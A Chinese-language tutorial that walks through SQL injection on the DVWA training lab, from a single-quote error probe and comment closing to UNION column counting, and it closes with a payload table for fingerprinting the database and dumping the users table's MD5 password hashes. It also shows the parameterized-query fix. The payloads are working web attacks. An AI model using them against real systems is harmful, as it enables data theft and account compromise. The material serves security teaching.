SQL 注入原理与实战-从单引号到完整拖库
原创
架构师面试
架构师面试
白帽子教程
2026年8月13日 19:53
美国
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
之前的文章中我们介绍了关于HTTP的内容,在这篇文章中我们来详细介绍一下什么SQL注入的原理以及通过一个小案例来理解一下到底什么是SQL注入。
一句话来讲SQL 注入(SQL Injection)就是攻击者把 SQL 代码\"伪装\"成普通输入提交给服务器,服务器不加区分地把它拼进 SQL 语句执行,导致攻击者的代码被执行。
其本质就是数据操作没有与代码实现分离,如下所示。
正常输入: admin → SELECT ... WHERE user_id = 'admin' → 当数据用恶意输入: 1' → SELECT ... WHERE user_id = '1'' → 变成代码!
从上面的代码中我们可以看到,这个漏洞的根源就是开发者通过字符串的拼接来构造了一个与原本意思不同的SQL语句,这条SQL语句并没有区分出来那个是数据,那个是代码。
危险写法和安全写法
如下所示,我们给出两个简单的例子
// ❌ 危险写法:字符串拼接(DVWA low 级别的真实代码)$query = \"SELECT first_name, last_name FROM users WHERE user_id = '$id';\";$result = mysqli_query($conn, $query);
// ✅ 安全写法:预处理语句(参数化查询)$stmt = $conn->prepare(\"SELECT first_name, last_name FROM users WHERE user_id = ?\");$stmt->bind_param(\"s\", $id);$stmt->execute();
所谓的预处理就是将语句作为参数传给数据库,由数据库来判断到底是代码还是数据,这是防止SQL注入的最为根本的方法。
下面我们以DVWA平台为例子来演示一下基本的SQL注入。
选择SQL注入之后,我们会看到一个输入框,我们可以在输入框中尝试如下的操作。
| 输入 | 正常响应 | 漏洞响应 |
|---|---|---|
1 |
正常显示数据 | 正常显示数据 |
1' |
无变化/转义 | SQL 语法报错 |
当我们输入正确的1的时候由于是正常的数据所以会显示正确的数据。
但是当我们在1后面加上单引号之后,就会看到如下的报错信息
为什么一个单引号会引发报错呢?如下所示。
-- 原始语句SELECT first_name, last_name FROM users WHERE user_id = '1';
-- 输入 1' 后(多了一个引号,破坏配对)SELECT first_name, last_name FROM users WHERE user_id = '1'';' ↑ 语法错误!
其实从报错信息来看也确实是这样,我们还可以通过其他的方式来进行探测。
| 方法 | 输入示例 | 原理 |
|---|---|---|
| 单引号 | 1' |
破坏引号配对 |
| 双引号 | 1\" |
同上(针对双引号语句) |
| 逻辑判断 | 1 AND 1=1 vs 1 AND 1=2 |
观察返回差异 |
| 延时 | 1' AND SLEEP(5)-- - |
响应延迟 = 注入成功(盲注) |
其实报错信息就是攻击者的透视镜,通过单引号触发了报错信息之后,其报错信息本身就是信息收集的宝藏。因为在报错信息中可能会泄露数据库类型、版本、SQL 语句结构等关键信息,帮助攻击者精准选择后续攻击手法。
当我们输入了单引号之后报错信息中的核心内容就是
You have an error in your SQL syntax; check the manual that correspondsto your MySQL server version for the right syntax to use near''1''' at line 1
| 报错片段 | 泄露信息 | 攻击者判断 |
|---|---|---|
MySQL server version |
数据库类型 = MySQL 系 | 用 MySQL 语法 payload |
near ''1''' at line 1 |
查询是字符串拼接 | 需闭合引号 |
| 报错完整回显 | 报错未关闭 | 可用报错注入(EXTRACTVALUE 等) |
| 无明显路径泄露 | 相对安全的环境 | 需靠其他手法 |
也可以分析出来更为有价值的内容。
| 信息类型 | 泄露示例 | 后续利用 |
|---|---|---|
| 数据库类型/版本 | MySQL 10.11 / Oracle 19c | 选择对应语法与函数 |
| 表名/字段名 | near 'WHERE id=' 片段 |
猜解表结构 |
| 路径信息 | /var/www/html/... |
找 WebShell 写入点、LFI |
| 用户信息 | user() = [email protected] |
判断权限、内网拓扑 |
| 拼接结构 | ''1''' 显示引号位置 |
设计闭合与注释 |
其实在真实场景中,网站常会关闭报错(display\\_errors=Off)或由 WAF 拦截。遇到\"吞报错\"的环境,改用盲注(布尔/时间),这是后面要介绍的内容。在实际场景中我们可以通过如下的步骤来实现信息的收集。
① 输入 1' 触发报错 → 记录完整报错文本② 逐段分析: 数据库类型 / 版本 / 拼接结构 / 路径③ 判断: 报错是否回显(决定能否用报错注入)④ 信息归档: 数据库版本、用户、路径 → 写入侦察笔记
走到这里之后,我们来引入一个新的概念就是
注释符技巧(闭合语句)
为什么需要注释符?
因为在上面测试的时候单引号破坏了正常的语法结构,所以我们要通过\"闭合引号 + 注释掉尾巴\"让语句恢复平衡,如下所示。
-- 输入 1' -- - 后实际执行:SELECT first_name, last_name FROM users WHERE user_id = '1' -- -' ↑闭合 ↑注释掉
通过这种方式就可以让语句达到平衡正常的状态,但是这样已经破坏了原始语句的语法。
我们常见SQL注释符有如下一些。
| 注释符 | 说明 | 适用数据库 |
|---|---|---|
-- |
双连字符+空格 | MySQL/MariaDB、Oracle |
-- - |
双连字符+空格+连字符 | MySQL(DVWA 常用) |
# |
井号 | MySQL/MariaDB |
/* */ |
块注释 | 通用 |
MySQL 的 -- 注释符\\必须跟一个空格\\,所以标准写法是 -- -(连字符+空格+连字符)。
既然知道了这些,并且也知道了如何绕过正常SQL,那么接下来我们就来尝试一下常见的注入UNION 注入
UNION 是什么?
UNION 是 SQL 关键字,用于合并两个查询的结果集,如下所示。
SELECT first_name, last_name FROM users WHERE user_id = '1'UNIONSELECT 1, 2;-- 结果:第一行是原始查询,第二行是我们注入的
这个操作成功的前提是两个 SELECT 的列数必须相同其实这里我们可以尝试,进行探测。
-- 方法1:ORDER BY 递增测试(报错即超出列数)1' ORDER BY 1 -- - 正常1' ORDER BY 2 -- - 正常1' ORDER BY 3 -- - 报错 → 说明只有 2 列
-- 方法2:UNION SELECT 递增测试1' UNION SELECT 1 -- - 报错(列数不匹配)1' UNION SELECT 1,2 -- - 正常 → 2 列,且 1、2 被回显
最终就可以确认
ID: 1' UNION SELECT 1,2 -- -First name: 1 ← 第 1 列回显位置Surname: 2 ← 第 2 列回显位置
到这里我们的SQL注入的基本操作就算是完成了,接下来就是正常的尝试我们的SQL注入的五部曲了。
| 步骤 | Payload | 结果 | 目的 |
|---|---|---|---|
| ① 探测 | 1' |
SQL 报错 | 确认注入点 + 信息收集 |
| ② 闭合 | 1' -- - |
恢复正常 | 验证注释符技巧 |
| ③ 列数 | 1' UNION SELECT 1,2 -- - |
回显 1,2 | 确认 2 列 + 回显位置 |
| ④ 信息 | 1' UNION SELECT version(), user() -- - |
版本+账号 | 数据库指纹 |
| ⑤ 拖库 | 1' UNION SELECT user, password FROM users -- - |
5 个用户哈希 | 读取任意表 |
最终我们就会得到
admin → 5f4dcc3b5aa765d61d8327deb882cf99gordonb → e99a18c428cb38d5f260853678922e031337 → 8d3533d75ae2c3966d7e0d4fcc69216bpablo → 0d107d09f5bbe40cade3de5c71e9e9b7smithy → 5f4dcc3b5aa765d61d8327deb882cf99
实际上这其中都是通过MD5编码的,并且很多都是弱口令,我们可以通过在线的MD5来查询相关数据。当然这里我们通过人工手动的方式来进行的分析,结合我们之前的内容,我们还可以通过SQLMap工具来实现动态的注入,在后续我们来详细介绍。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论